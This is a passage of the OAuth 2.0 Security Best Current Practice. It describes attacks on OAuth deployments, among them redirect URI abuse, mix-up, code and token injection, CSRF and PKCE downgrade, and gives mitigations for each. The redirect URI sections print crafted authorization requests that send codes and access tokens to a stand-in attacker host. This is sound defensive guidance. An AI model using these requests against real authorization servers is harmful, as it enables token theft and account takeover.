OAuth 2.0 Security Best Current Practice

Attacks and Mitigations This section gives a detailed description of attacks on OAuth implementations, along with potential countermeasures. Attacks and mitigations already covered in are not listed here, except where new recommendations are made.

Insufficient Redirect URI Validation Some authorization servers allow clients to register redirect URI patterns instead of complete redirect URIs. The authorization servers then match the redirect URI parameter value at the authorization endpoint against the registered patterns at runtime. This approach allows clients to encode transaction state into additional redirect URI parameters or to register a single pattern for multiple redirect URIs. This approach turned out to be more complex to implement and more error prone to manage than exact redirect URI matching. Several successful attacks exploiting flaws in the pattern matching implementation or concrete configurations have been observed in the wild . Insufficient validation of the redirect URI effectively breaks client identification or authentication (depending on grant and client type) and allows the attacker to obtain an authorization code or access token, either

by directly sending the user agent to a URI under the attackers control, or
by exposing the OAuth credentials to an attacker by utilizing an open redirector at the client in conjunction with the way user agents handle URL fragments.

These attacks are shown in detail in the following subsections.

Redirect URI Validation Attacks on Authorization Code Grant For a client using the grant type code, an attack may work as follows: Assume the redirect URL pattern https://*.somesite.example/* is registered for the client with the client ID s6BhdRkqt3. The intention is to allow any subdomain of somesite.example to be a valid redirect URI for the client, for example https://app1.somesite.example/redirect. A naive implementation on the authorization server, however, might interpret the wildcard * as "any character" and not "any character valid for a domain name". The authorization server, therefore, might permit https://attacker.example/.somesite.example as a redirect URI, although attacker.example is a different domain potentially controlled by a malicious party. The attack can then be conducted as follows: First, the attacker needs to trick the user into opening a tampered URL in his browser that launches a page under the attacker's control, say https://www.evil.example (see Attacker A1 in ). This URL initiates the following authorization request with the client ID of a legitimate client to the authorization endpoint (line breaks for display only): GET /authorize?response_type=code&client_id=s6BhdRkqt3&state=9ad67f13 &redirect_uri=https%3A%2F%2Fattacker.example%2F.somesite.example HTTP/1.1 Host: server.somesite.example The authorization server validates the redirect URI and compares it to the registered redirect URL patterns for the client s6BhdRkqt3. The authorization request is processed and presented to the user. If the user does not see the redirect URI or does not recognize the attack, the code is issued and immediately sent to the attacker's domain. If an automatic approval of the authorization is enabled (which is not recommended for public clients according to ), the attack can be performed even without user interaction. If the attacker impersonated a public client, the attacker can exchange the code for tokens at the respective token endpoint. This attack will not work as easily for confidential clients, since the code exchange requires authentication with the legitimate client's secret. The attacker can, however, use the legitimate confidential client to redeem the code by performing an authorization code injection attack, see . Note: Vulnerabilities of this kind can also exist if the authorization server handles wildcards properly. For example, assume that the client registers the redirect URL pattern https://*.somesite.example/* and the authorization server interprets this as "allow redirect URIs pointing to any host residing in the domain somesite.example". If an attacker manages to establish a host or subdomain in somesite.example, he can impersonate the legitimate client. This could be caused, for example, by a subdomain takeover attack , where an outdated CNAME record (say, external-service.somesite.example) points to an external DNS name that does no longer exist (say, customer-abc.service.example) and can be taken over by an attacker (e.g., by registering as customer-abc with the external service).

Redirect URI Validation Attacks on Implicit Grant The attack described above works for the implicit grant as well. If the attacker is able to send the authorization response to a URI under his control, he will directly get access to the fragment carrying the access token. Additionally, implicit clients can be subject to a further kind of attack. It utilizes the fact that user agents re-attach fragments to the destination URL of a redirect if the location header does not contain a fragment (see , Section 9.5). The attack described here combines this behavior with the client as an open redirector (see ) in order to get access to access tokens. This allows circumvention even of very narrow redirect URI patterns, but not strict URL matching. Assume the registered URL pattern for client s6BhdRkqt3 is https://client.somesite.example/cb?*, i.e., any parameter is allowed for redirects to https://client.somesite.example/cb. Unfortunately, the client exposes an open redirector. This endpoint supports a parameter redirect_to which takes a target URL and will send the browser to this URL using an HTTP Location header redirect 303. The attack can now be conducted as follows: First, and as above, the attacker needs to trick the user into opening a tampered URL in his browser that launches a page under the attacker's control, say https://www.evil.example. Afterwards, the website initiates an authorization request that is very similar to the one in the attack on the code flow. Different to above, it utilizes the open redirector by encoding redirect_to=https://attacker.example into the parameters of the redirect URI and it uses the response type "token" (line breaks for display only): GET /authorize?response_type=token&state=9ad67f13 &client_id=s6BhdRkqt3 &redirect_uri=https%3A%2F%2Fclient.somesite.example %2Fcb%26redirect_to%253Dhttps%253A%252F %252Fattacker.example%252F HTTP/1.1 Host: server.somesite.example Now, since the redirect URI matches the registered pattern, the authorization server permits the request and sends the resulting access token in a 303 redirect (some response parameters omitted for readability): HTTP/1.1 303 See Other Location: https://client.somesite.example/cb? redirect_to%3Dhttps%3A%2F%2Fattacker.example%2Fcb #access_token=2YotnFZFEjr1zCsicMWpAA&... At example.com, the request arrives at the open redirector. The endpoint will read the redirect parameter and will issue an HTTP 303 Location header redirect to the URL https://attacker.example/. HTTP/1.1 303 See Other Location: https://attacker.example/ Since the redirector at client.somesite.example does not include a fragment in the Location header, the user agent will re-attach the original fragment #access_token=2YotnFZFEjr1zCsicMWpAA&... to the URL and will navigate to the following URL: https://attacker.example/#access_token=2YotnFZFEjr1z... The attacker's page at attacker.example can now access the fragment and obtain the access token.

Countermeasures The complexity of implementing and managing pattern matching correctly obviously causes security issues. This document therefore advises to simplify the required logic and configuration by using exact redirect URI matching. This means the authorization server MUST compare the two URIs using simple string comparison as defined in , Section 6.2.1. The only exception are native apps using a localhost URI: In this case, the AS MUST allow variable port numbers as described in , Section 7.3. Additional recommendations:

Servers on which callbacks are hosted MUST NOT expose open redirectors (see ).
Browsers reattach URL fragments to Location redirection URLs only if the URL in the Location header does not already contain a fragment. Therefore, servers MAY prevent browsers from reattaching fragments to redirection URLs by attaching an arbitrary fragment identifier, for example #_, to URLs in Location headers.
Clients SHOULD use the authorization code response type instead of response types causing access token issuance at the authorization endpoint. This offers countermeasures against reuse of leaked credentials through the exchange process with the authorization server and token replay through sender-constraining of the access tokens.

If the origin and integrity of the authorization request containing the redirect URI can be verified, for example when using or with client authentication, the authorization server MAY trust the redirect URI without further checks.

Credential Leakage via Referer Headers The contents of the authorization request URI or the authorization response URI can unintentionally be disclosed to attackers through the Referer HTTP header (see , Section 5.5.2), by leaking either from the AS's or the client's web site, respectively. Most importantly, authorization codes or state values can be disclosed in this way. Although specified otherwise in , Section 5.5.2, the same may happen to access tokens conveyed in URI fragments due to browser implementation issues, as illustrated by Chromium Issue 168213 .

Leakage from the OAuth Client Leakage from the OAuth client requires that the client, as a result of a successful authorization request, renders a page that

contains links to other pages under the attacker's control and a user clicks on such a link, or
includes third-party content (advertisements in iframes, images, etc.), for example if the page contains user-generated content (blog).

As soon as the browser navigates to the attacker's page or loads the third-party content, the attacker receives the authorization response URL and can extract code or state (and potentially access token).

Leakage from the Authorization Server In a similar way, an attacker can learn state from the authorization request if the authorization endpoint at the authorization server contains links or third-party content as above.

Consequences An attacker that learns a valid code or access token through a Referer header can perform the attacks as described in , , and . If the attacker learns state, the CSRF protection achieved by using state is lost, resulting in CSRF attacks as described in , Section 4.4.1.8.

Countermeasures The page rendered as a result of the OAuth authorization response and the authorization endpoint SHOULD NOT include third-party resources or links to external sites. The following measures further reduce the chances of a successful attack:

Suppress the Referer header by applying an appropriate Referrer Policy to the document (either as part of the "referrer" meta attribute or by setting a Referrer-Policy header). For example, the header Referrer-Policy: no-referrer in the response completely suppresses the Referer header in all requests originating from the resulting document.
Use authorization code instead of response types causing access token issuance from the authorization endpoint.
Bind the authorization code to a confidential client or PKCE challenge. In this case, the attacker lacks the secret to request the code exchange.
As described in , Section 4.1.2, authorization codes MUST be invalidated by the AS after their first use at the token endpoint. For example, if an AS invalidated the code after the legitimate client redeemed it, the attacker would fail exchanging this code later. This does not mitigate the attack if the attacker manages to exchange the code for a token before the legitimate client does so. Therefore, further recommends that, when an attempt is made to redeem a code twice, the AS SHOULD revoke all tokens issued previously based on that code.
The state value SHOULD be invalidated by the client after its first use at the redirection endpoint. If this is implemented, and an attacker receives a token through the Referer header from the client's web site, the state was already used, invalidated by the client and cannot be used again by the attacker. (This does not help if the state leaks from the AS's web site, since then the state has not been used at the redirection endpoint at the client yet.)
Use the form post response mode instead of a redirect for the authorization response (see ).

Credential Leakage via Browser History Authorization codes and access tokens can end up in the browser's history of visited URLs, enabling the attacks described in the following.

Authorization Code in Browser History When a browser navigates to client.example/redirection_endpoint?code=abcd as a result of a redirect from a provider's authorization endpoint, the URL including the authorization code may end up in the browser's history. An attacker with access to the device could obtain the code and try to replay it. Countermeasures:

Authorization code replay prevention as described in , Section 4.4.1.1, and .
Use form post response mode instead of redirect for the authorization response (see ).

Access Token in Browser History An access token may end up in the browser history if a client or a web site that already has a token deliberately navigates to a page like provider.com/get_user_profile?access_token=abcdef. discourages this practice and advises to transfer tokens via a header, but in practice web sites often pass access tokens in query parameters. In case of the implicit grant, a URL like client.example/redirection_endpoint#access_token=abcdef may also end up in the browser history as a result of a redirect from a provider's authorization endpoint. Countermeasures:

Clients MUST NOT pass access tokens in a URI query parameter in the way described in Section 2.3 of . The authorization code grant or alternative OAuth response modes like the form post response mode can be used to this end.

Mix-Up Attacks Mix-up is an attack on scenarios where an OAuth client interacts with two or more authorization servers and at least one authorization server is under the control of the attacker. This can be the case, for example, if the attacker uses dynamic registration to register the client at his own authorization server or if an authorization server becomes compromised. The goal of the attack is to obtain an authorization code or an access token for an uncompromised authorization server. This is achieved by tricking the client into sending those credentials to the compromised authorization server (the attacker) instead of using them at the respective endpoint of the uncompromised authorization/resource server.

Attack Description The description here follows , with variants of the attack outlined below. Preconditions: For this variant of the attack to work, it is assumed that

the implicit or authorization code grant are used with multiple AS of which one is considered "honest" (H-AS) and one is operated by the attacker (A-AS), and
the client stores the AS chosen by the user in a session bound to the user's browser and uses the same redirection endpoint URI for each AS.

In the following, it is further assumed that the client is registered with H-AS (URI: https://honest.as.example, client ID: 7ZGZldHQ) and with A-AS (URI: https://attacker.example, client ID: 666RVZJTA). URLs shown in the following example are shortened for presentation to only include parameters relevant for the attack. Attack on the authorization code grant:

The user selects to start the grant using A-AS (e.g., by clicking on a button at the client's website).
The client stores in the user's session that the user selected "A-AS" and redirects the user to A-AS's authorization endpoint with a Location header containing the URL https://attacker.example/authorize?response_type=code&client_id=666RVZJTA.
When the user's browser navigates to the attacker's authorization endpoint, the attacker immediately redirects the browser to the authorization endpoint of H-AS. In the authorization request, the attacker replaces the client ID of the client at A-AS with the client's ID at H-AS. Therefore, the browser receives a redirection (303 See Other) with a Location header pointing to https://honest.as.example/authorize?response_type=code&client_id=7ZGZldHQ
The user authorizes the client to access her resources at H-AS. (Note that a vigilant user might at this point detect that she intended to use A-AS instead of H-AS. The first attack variant listed below avoids this.) H-AS issues a code and sends it (via the browser) back to the client.
Since the client still assumes that the code was issued by A-AS, it will try to redeem the code at A-AS's token endpoint.
The attacker therefore obtains code and can either exchange the code for an access token (for public clients) or perform an authorization code injection attack as described in .

Variants:

Mix-Up With Interception: This variant works only if the attacker can intercept and manipulate the first request/response pair from a user's browser to the client (in which the user selects a certain AS and is then redirected by the client to that AS), as in Attacker A2 (see ). This capability can, for example, be the result of a man-in-the-middle attack on the user's connection to the client. In the attack, the user starts the flow with H-AS. The attacker intercepts this request and changes the user's selection to A-AS. The rest of the attack proceeds as in Steps 2 and following above.
Implicit Grant: In the implicit grant, the attacker receives an access token instead of the code; the rest of the attack works as above.
Per-AS Redirect URIs: If clients use different redirect URIs for different ASs, do not store the selected AS in the user's session, and ASs do not check the redirect URIs properly, attackers can mount an attack called "Cross-Social Network Request Forgery". These attacks have been observed in practice. Refer to for details.
OpenID Connect: There are variants that can be used to attack OpenID Connect. In these attacks, the attacker misuses features of the OpenID Connect Discovery mechanism or replays access tokens or ID Tokens to conduct a mix-up attack. The attacks are described in detail in , Appendix A, and , Section 6 ("Malicious Endpoints Attacks").

Countermeasures When an OAuth client can only interact with one authorization server, a mix-up defense is not required. In scenarios where an OAuth client interacts with two or more authorization servers, however, clients MUST prevent mix-up attacks. Two different methods are discussed in the following. For both defenses, clients MUST store, for each authorization request, the issuer they sent the authorization request to and bind this information to the user agent. The issuer serves, via the associated metadata, as an abstract identifier for the combination of the authorization endpoint and token endpoint that are to be used in the flow. If an issuer identifier is not available, for example, if neither OAuth metadata nor OpenID Connect Discovery are used, a different unique identifier for this tuple or the tuple itself can be used instead. For brevity of presentation, such a deployment-specific identifier will be subsumed under the issuer (or issuer identifier) in the following. Note: Just storing the authorization server URL is not sufficient to identify mix-up attacks. An attacker might declare an uncompromised AS's authorization endpoint URL as "his" AS URL, but declare a token endpoint under his own control.

Mix-Up Defense via Issuer Identification This defense requires that the authorization server sends his issuer identifier in the authorization response to the client. When receiving the authorization response, the client MUST compare the received issuer identifier to the stored issuer identifier. If there is a mismatch, the client MUST abort the interaction. There are different ways this issuer identifier can be transported to the client:

The issuer information can be transported, for example, via a separate response parameter iss, defined in .
When OpenID Connect is used and an ID Token is returned in the authorization response, the client can evaluate the iss Claim in the ID Token.

In both cases, the iss value MUST be evaluated according to . While this defense may require deploying new OAuth features to transport the issuer information, it is a robust and relatively simple defense against mix-up.

Mix-Up Defense via Distinct Redirect URIs For this defense, clients MUST use a distinct redirect URI for each issuer they interact with. Clients MUST check that the authorization response was received from the correct issuer by comparing the distinct redirect URI for the issuer to the URI where the authorization response was received on. If there is a mismatch, the client MUST abort the flow. While this defense builds upon existing OAuth functionality, it cannot be used in scenarios where clients only register once for the use of many different issuers (as in some open banking schemes) and due to the tight integration with the client registration, it is harder to deploy automatically. Furthermore, an attacker might be able to circumvent the protection offered by this defense by registering a new client with the "honest" AS using the redirect URI that the client assigned to the attacker's AS. The attacker could then run the attack as described above, replacing the client ID with the client ID of his newly created client. This defense SHOULD therefore only be used if other options are not available.

Authorization Code Injection An attacker that has gained access to an authorization code contained in an authorization response (see Attacker A3 in ) can try to redeem the authorization code for an access token or otherwise make use of the authorization code. In the case that the authorization code was created for a public client, the attacker can send the authorization code to the token endpoint of the authorization server and thereby get an access token. This attack was described in Section 4.4.1.1 of . For confidential clients, or in some special situations, the attacker can execute an authorization code injection attack, as described in the following. In an authorization code injection attack, the attacker attempts to inject a stolen authorization code into the attacker's own session with the client. The aim is to associate the attacker's session at the client with the victim's resources or identity, thereby giving the attacker at least limited access to the victim's resources. Besides circumventing the client authentication of confidential clients, other use cases for this attack include:

The attacker wants to access certain functions in this particular client. As an example, the attacker wants to impersonate his victim in a certain app or on a certain web site.
The authorization or resource servers are limited to certain networks that the attacker is unable to access directly.

Except in these special cases, authorization code injection is usually not interesting when the code was created for a public client, as sending the code to the token endpoint is a simpler and more powerful attack, as described above.

Attack Description The authorization code injection attack works as follows:

The attacker obtains an authorization code (see attacker A3 in ). For the rest of the attack, only the capabilities of a web attacker (A1) are required.
From the attacker's own device, the attacker starts a regular OAuth authorization process with the legitimate client.
In the response of the authorization server to the legitimate client, the attacker replaces the newly created authorization code with the stolen authorization code. Since this response is passing through the attacker's device, the attacker can use any tool that can intercept and manipulate the authorization response to this end. The attacker does not need to control the network.
The legitimate client sends the code to the authorization server's token endpoint, along with the redirect_uri and the client's client ID and client secret (or other means of client authentication).
The authorization server checks the client secret, whether the code was issued to the particular client, and whether the actual redirect URI matches the redirect_uri parameter (see ).
All checks succeed and the authorization server issues access and other tokens to the client. The attacker has now associated his session with the legitimate client with the victim's resources and/or identity.

Discussion Obviously, the check in step (5.) will fail if the code was issued to another client ID, e.g., a client set up by the attacker. The check will also fail if the authorization code was already redeemed by the legitimate user and was one-time use only. An attempt to inject a code obtained via a manipulated redirect URI should also be detected if the authorization server stored the complete redirect URI used in the authorization request and compares it with the redirect_uri parameter. , Section 4.1.3, requires the AS to "... ensure that the redirect_uri parameter is present if the redirect_uri parameter was included in the initial authorization request as described in Section 4.1.1, and if included ensure that their values are identical.". In the attack scenario described above, the legitimate client would use the correct redirect URI it always uses for authorization requests. But this URI would not match the tampered redirect URI used by the attacker (otherwise, the redirect would not land at the attackers page). So the authorization server would detect the attack and refuse to exchange the code. Note: This check could also detect attempts to inject an authorization code that had been obtained from another instance of the same client on another device, if certain conditions are fulfilled:

the redirect URI itself needs to contain a nonce or another kind of one-time use, secret data and
the client has bound this data to this particular instance of the client.

But this approach conflicts with the idea to enforce exact redirect URI matching at the authorization endpoint. Moreover, it has been observed that providers very often ignore the redirect_uri check requirement at this stage, maybe because it doesn't seem to be security-critical from reading the specification. Other providers just pattern match the redirect_uri parameter against the registered redirect URI pattern. This saves the authorization server from storing the link between the actual redirect URI and the respective authorization code for every transaction. But this kind of check obviously does not fulfill the intent of the specification, since the tampered redirect URI is not considered. So any attempt to inject an authorization code obtained using the client_id of a legitimate client or by utilizing the legitimate client on another device will not be detected in the respective deployments. It is also assumed that the requirements defined in , Section 4.1.3, increase client implementation complexity as clients need to store or re-construct the correct redirect URI for the call to the token endpoint. Asymmetric methods for client authentication do not stop this attack, as the legitimate client authenticates at the token endpoint. This document therefore recommends to instead bind every authorization code to a certain client instance on a certain device (or in a certain user agent) in the context of a certain transaction using one of the mechanisms described next.

Countermeasures There are two good technical solutions to achieve this goal, outlined in the following.

PKCE The PKCE mechanism specified in can be used as a countermeasure. When the attacker attempts to inject an authorization code, the check of the code_verifier fails: the client uses its correct verifier, but the code is associated with a code_challenge that does not match this verifier. PKCE is a deployed OAuth feature, although its originally intended use was solely focused on securing native apps, not the broader use recommended by this document. PKCE does not only protect against the autorization code injection attack, but also protects authorization codes created for public clients: PKCE ensures that an attacker cannot redeem a stolen authorization code at the token endpoint of the authorization server without knowledge of the code_verifier.

Nonce OpenID Connect's existing nonce parameter can protect against authorization code injection attacks. The nonce value is one-time use and created by the client. The client is supposed to bind it to the user agent session and sends it with the initial request to the OpenID Provider (OP). The OP puts the received nonce value into the ID Token that is issued as part of the code exchange at the token endpoint. If an attacker injected an authorization code in the authorization response, the nonce value in the client session and the nonce value in the ID token will not match and the attack is detected. The assumption is that an attacker cannot get hold of the user agent state on the victim's device, where the attacker has stolen the respective authorization code. It is important to note that this countermeasure only works if the client properly checks the nonce parameter in the ID Token and does not use any issued token until this check has succeeded. More precisely, a client protecting itself against code injection using the nonce parameter,

MUST validate the nonce in the ID Token obtained from the token endpoint, even if another ID Token was obtained from the authorization response (e.g., response_type=code+id_token), and
MUST ensure that, unless and until that check succeeds, all tokens (ID Tokens and the access token) are disregarded and not used for any other purpose.

It is important to note that nonce does not protect authorization codes of public clients, as an attacker does not need to execute an authorization code injection attack. Instead, an attacker can directly call the token endpoint with the stolen authorization code.

Other Solutions Other solutions, like binding state to the code, sender-constraining the code using cryptographic means, or per-instance client credentials are conceivable, but lack support and bring new security requirements. PKCE is the most obvious solution for OAuth clients as it is available today (originally intended for OAuth native apps) whereas nonce is appropriate for OpenID Connect clients.

Limitations An attacker can circumvent the countermeasures described above if he can modify the nonce or code_challenge values that are used in the victim's authorization request. The attacker can modify these values to be the same ones as those chosen by the client in his own session in Step 2 of the attack above. (This requires that the victim's session with the client begins after the attacker started his session with the client.) If the attacker is then able to capture the authorization code from the victim, the attacker will be able to inject the stolen code in Step 3 even if PKCE or nonce are used. This attack is complex and requires a close interaction between the attacker and the victim's session. Nonetheless, measures to prevent attackers from reading the contents of the authorization response still need to be taken, as described in , , , , and .

Access Token Injection In an access token injection attack, the attacker attempts to inject a stolen access token into a legitimate client (that is not under the attacker's control). This will typically happen if the attacker wants to utilize a leaked access token to impersonate a user in a certain client. To conduct the attack, the attacker starts an OAuth flow with the client using the implicit grant and modifies the authorization response by replacing the access token issued by the authorization server or directly makes up an authorization server response including the leaked access token. Since the response includes the state value generated by the client for this particular transaction, the client does not treat the response as a CSRF attack and uses the access token injected by the attacker.

Countermeasures There is no way to detect such an injection attack in pure-OAuth flows, since the token is issued without any binding to the transaction or the particular user agent. In OpenID Connect, the attack can be mitigated, as the authorization response additionally contains an ID Token containing the at_hash claim. The attacker therefore needs to replace both the access token as well as the ID Token in the response. The attacker cannot forge the ID Token, as it is signed or encrypted with authentication. The attacker also cannot inject a leaked ID Token matching the stolen access token, as the nonce claim in the leaked ID Token will (with a very high probability) contain a different value than the one expected in the authorization response. Note that further protection, like sender-constrained access tokens, is still required to prevent attackers from using the access token at the resource endpoint directly. The recommendations in follow from this.

Cross Site Request Forgery An attacker might attempt to inject a request to the redirect URI of the legitimate client on the victim's device, e.g., to cause the client to access resources under the attacker's control. This is a variant of an attack known as Cross-Site Request Forgery (CSRF).

Countermeasures The traditional countermeasure is that clients pass a random value, also known as a CSRF Token, in the state parameter that links the request to the redirect URI to the user agent session as described. This countermeasure is described in detail in , Section 5.3.5. The same protection is provided by PKCE or the OpenID Connect nonce value. When using PKCE instead of state or nonce for CSRF protection, it is important to note that:

Clients MUST ensure that the AS supports PKCE before using PKCE for CSRF protection. If an authorization server does not support PKCE, state or nonce MUST be used for CSRF protection.
If state is used for carrying application state, and integrity of its contents is a concern, clients MUST protect state against tampering and swapping. This can be achieved by binding the contents of state to the browser session and/or signed/encrypted state values as discussed in the now-expired draft .

The AS therefore MUST provide a way to detect their support for PKCE. Using AS metadata according to is RECOMMENDED, but AS MAY instead provide a deployment-specific way to ensure or determine PKCE support. PKCE provides robust protection against CSRF attacks even in presence of an that can read the authorization response (see Attacker A3 in ). When state is used or an ID Token is returned in the authorization response (e.g., response_type=code+id_token), the attacker either learns the state value and can replay it into the forged authorization response, or can extract the nonce from the ID Token and use it in a new request to the authorization server to mint an ID Token with the same nonce. The new ID Token can then be used for the CSRF attack.

PKCE Downgrade Attack An authorization server that supports PKCE but does not make its use mandatory for all flows can be susceptible to a PKCE downgrade attack. The first prerequisite for this attack is that there is an attacker-controllable flag in the authorization request that enables or disables PKCE for the particular flow. The presence or absence of the code_challenge parameter lends itself for this purpose, i.e., the AS enables and enforces PKCE if this parameter is present in the authorization request, but does not enforce PKCE if the parameter is missing. The second prerequisite for this attack is that the client is not using state at all (e.g., because the client relies on PKCE for CSRF prevention) or that the client is not checking state correctly. Roughly speaking, this attack is a variant of a CSRF attack. The attacker achieves the same goal as in the attack described in : The attacker injects an authorization code (and with that, an access token) that is bound to the attacker's resources into a session between his victim and the client.

Attack Description

The user has started an OAuth session using some client at an AS. In the authorization request, the client has set the parameter code_challenge=sha256(abc) as the PKCE code challenge. The client is now waiting to receive the authorization response from the user's browse.
To conduct the attack, the attacker uses his own device to start an authorization flow with the targeted client. The client now uses another PKCE code challenge, say code_challenge=sha256(xyz), in the authorization request. The attacker intercepts the request and removes the entire code_challenge parameter from the request. Since this step is performed on the attacker's device, the attacker has full access to the request contents, for example using browser debug tools.
If the authorization server allows for flows without PKCE, it will create a code that is not bound to any PKCE code challenge.
The attacker now redirects the user's browser to an authorization response URL that contains the code for the attacker's session with the AS.
The user's browser sends the authorization code to the client, which will now try to redeem the code for an access token at the AS. The client will send code_verifier=abc as the PKCE code verifier in the token request.
Since the authorization server sees that this code is not bound to any PKCE code challenge, it will not check the presence or contents of the code_verifier parameter. It will issue an access token that belongs to the attacker's resource to the client under the user's control.

Countermeasures Using state properly would prevent this attack. However, practice has shown that many OAuth clients do not use or check state properly. Therefore, ASs MUST take precautions against this threat. Note that from the view of the AS, in the attack described above, a code_verifier parameter is received at the token endpoint although no code_challenge parameter was present in the authorization request for the OAuth flow in which the authorization code was issued. This fact can be used to mitigate this attack. already mandates that

an AS that supports PKCE MUST check whether a code challenge is contained in the authorization request and bind this information to the code that is issued; and
when a code arrives at the token endpoint, and there was a code_challenge in the authorization request for which this code was issued, there must be a valid code_verifier in the token request.

Beyond this, to prevent PKCE downgrade attacks, the AS MUST ensure that if there was no code_challenge in the authorization request, a request to the token endpoint containing a code_verifier is rejected. Note: ASs that mandate the use of PKCE in general or for particular clients implicitly implement this security measure.

Access Token Leakage at the Resource Server Access tokens can leak from a resource server under certain circumstances.

Access Token Phishing by Counterfeit Resource Server An attacker may setup his own resource server and trick a client into sending access tokens to it that are valid for other resource servers (see Attackers A1 and A5 in ). If the client sends a valid access token to this counterfeit resource server, the attacker in turn may use that token to access other services on behalf of the resource owner. This attack assumes the client is not bound to one specific resource server (and its URL) at development time, but client instances are provided with the resource server URL at runtime. This kind of late binding is typical in situations where the client uses a service implementing a standardized API (e.g., for e-Mail, calendar, health, or banking) and where the client is configured by a user or administrator for a service that this user or company uses.

Compromised Resource Server An attacker may compromise a resource server to gain access to the resources of the respective deployment. Such a compromise may range from partial access to the system, e.g., its log files, to full control of the respective server. If the attacker were able to gain full control, including shell access, all controls can be circumvented and all resources can be accessed. The attacker would also be able to obtain other access tokens held on the compromised system that would potentially be valid to access other resource servers. Preventing server breaches by hardening and monitoring server systems is considered a standard operational procedure and, therefore, out of the scope of this document. This section focuses on the impact of OAuth-related breaches and the replaying of captured access tokens. The following measures should be taken into account by implementers in order to cope with access token replay by malicious actors:

Sender-constrained access tokens, as described in , SHOULD be used to prevent the attacker from replaying the access tokens on other resource servers. Depending on the severity of the penetration, sender-constrained access tokens will also prevent replay on the compromised system.
Audience restriction as described in SHOULD be used to prevent replay of captured access tokens on other resource servers.
The resource server MUST treat access tokens like any other credentials. It is considered good practice to not log them and not store them in plain text.

The first and second recommendation also apply to other scenarios where access tokens leak (see Attacker A5 in ).

Misuse of Stolen Access Tokens Access tokens can be stolen by an attacker in various ways, for example, via the attacks described in , , , and . Some of these attacks can be mitigated by specific security measures, as described in the respective sections. However, in some cases, these measures are not sufficient or are not implemented correctly. Authorization servers therefore SHOULD ensure that access tokens are sender-constrained and audience-restricted as described in the following.

Sender-Constrained Access Tokens As the name suggests, sender-constrained access tokens scope the applicability of an access token to a certain sender. This sender is obliged to demonstrate knowledge of a certain secret as prerequisite for the acceptance of that token at a resource server. A typical flow looks like this:

The authorization server associates data with the access token that binds this particular token to a certain client. The binding can utilize the client identity, but in most cases the AS utilizes key material (or data derived from the key material) known to the client.
This key material must be distributed somehow. Either the key material already exists before the AS creates the binding or the AS creates ephemeral keys. The way pre-existing key material is distributed varies among the different approaches. For example, X.509 Certificates can be used, in which case the distribution happens explicitly during the enrollment process. Or the key material is created and distributed at the TLS layer, in which case it might automatically happen during the setup of a TLS connection.
The RS must implement the actual proof of possession check. This is typically done on the application level, often tied to specific material provided by transport layer (e.g., TLS). The RS must also ensure that replay of the proof of possession is not possible.

Two methods for sender-constrained access tokens using proof-of-possession have been defined by the OAuth working group:

OAuth 2.0 Mutual-TLS Client Authentication and Certificate-Bound Access Tokens (): The approach as specified in this document allows the use of mutual TLS (mTLS) for both client authentication and sender-constrained access tokens. For the purpose of sender-constrained access tokens, the client is identified towards the resource server by the fingerprint of its public key. During processing of an access token request, the authorization server obtains the client's public key from the TLS stack and associates its fingerprint with the respective access tokens. The resource server in the same way obtains the public key from the TLS stack and compares its fingerprint with the fingerprint associated with the access token.
DPoP (): DPoP (Demonstration of Proof-of-Possession at the Application Layer) outlines an application-level sender-constraining for access and refresh tokens that can be used in cases where neither mTLS nor OAuth Token Binding (see below) are available. It uses proof-of-possession based on a public/private key pair and application-level signing. DPoP can be used with public clients and, in case of confidential clients, can be combined with any client authentication method.

For reference, other approaches have been discussed as well but the relevant drafts are now expired:

OAuth Token Binding (): In this approach, an access token is, via the token binding ID, bound to key material representing a long term association between a client and a certain TLS host. Negotiation of the key material and proof of possession in the context of a TLS handshake is taken care of by the TLS stack. The client needs to determine the token binding ID of the target resource server and pass this data to the access token request. The authorization server then associates the access token with this ID. The resource server checks on every invocation that the token binding ID of the active TLS connection and the token binding ID of associated with the access token match. Since all crypto-related functions are covered by the TLS stack, this approach is very client developer friendly. As a prerequisite, token binding as described in (including federated token bindings) must be supported on all ends (client, authorization server, resource server).
Signed HTTP Requests (): This approach utilizes and represents the elements of the signature in a JSON object. The signature is built using JWS. The mechanism has built-in support for signing of HTTP method, query parameters and headers. It also incorporates a timestamp as basis for replay prevention.
JWT Pop Tokens (): This draft describes different ways to constrain access token usage, namely TLS or request signing. Note: Since the authors of this draft contributed the TLS-related proposal to , this document only considers the request signing part. For request signing, the draft utilizes and . The signature data is represented in a JWT and JWS is used for signing. Replay prevention is provided by building the signature over a server-provided nonce, client-provided nonce and a nonce counter.

At the time of writing, OAuth Mutual TLS is the most widely implemented and the only standardized sender-constraining method. Note that the security of sender-constrained tokens is undermined when an attacker gets access to the token and the key material. This is, in particular, the case for corrupted client software and cross-site scripting attacks (when the client is running in the browser). If the key material is protected in a hardware or software security module or only indirectly accessible (like in a TLS stack), sender-constrained tokens at least protect against a use of the token when the client is offline, i.e., when the security module or interface is not available to the attacker. This applies to access tokens as well as to refresh tokens (see ).

Audience Restricted Access Tokens Audience restriction essentially restricts access tokens to a particular resource server. The authorization server associates the access token with the particular resource server and the resource server SHOULD verify the intended audience. If the access token fails the intended audience validation, the resource server MUST refuse to serve the respective request. In general, audience restrictions limit the impact of token leakage. In the case of a counterfeit resource server, it may (as described below) also prevent abuse of the phished access token at the legitimate resource server. The audience can be expressed using logical names or physical addresses (like URLs). To prevent phishing, it is necessary to use the actual URL the client will send requests to. In the phishing case, this URL will point to the counterfeit resource server. If the attacker tries to use the access token at the legitimate resource server (which has a different URL), the resource server will detect the mismatch (wrong audience) and refuse to serve the request. In deployments where the authorization server knows the URLs of all resource servers, the authorization server may just refuse to issue access tokens for unknown resource server URLs. The client SHOULD tell the authorization server the intended resource server. The proposed mechanism could be used or by encoding the information in the scope value. Instead of the URL, it is also possible to utilize the fingerprint of the resource server's X.509 certificate as audience value. This variant would also allow to detect an attempt to spoof the legitimate resource server's URL by using a valid TLS certificate obtained from a different CA. It might also be considered a privacy benefit to hide the resource server URL from the authorization server. Audience restriction may seem easier to use since it does not require any crypto on the client side. Still, since every access token is bound to a specific resource server, the client also needs to obtain a single RS-specific access token when accessing several resource servers. (Resource indicators, as specified in , can help to achieve this.) has the same property since different token binding IDs must be associated with the access token. Using , on the other hand, allows a client to use the access token at multiple resource servers. It should be noted that audience restrictions, or generally speaking an indication by the client to the authorization server where it wants to use the access token, has additional benefits beyond the scope of token leakage prevention. It allows the authorization server to create a different access token whose format and content is specifically minted for the respective server. This has huge functional and privacy advantages in deployments using structured access tokens.

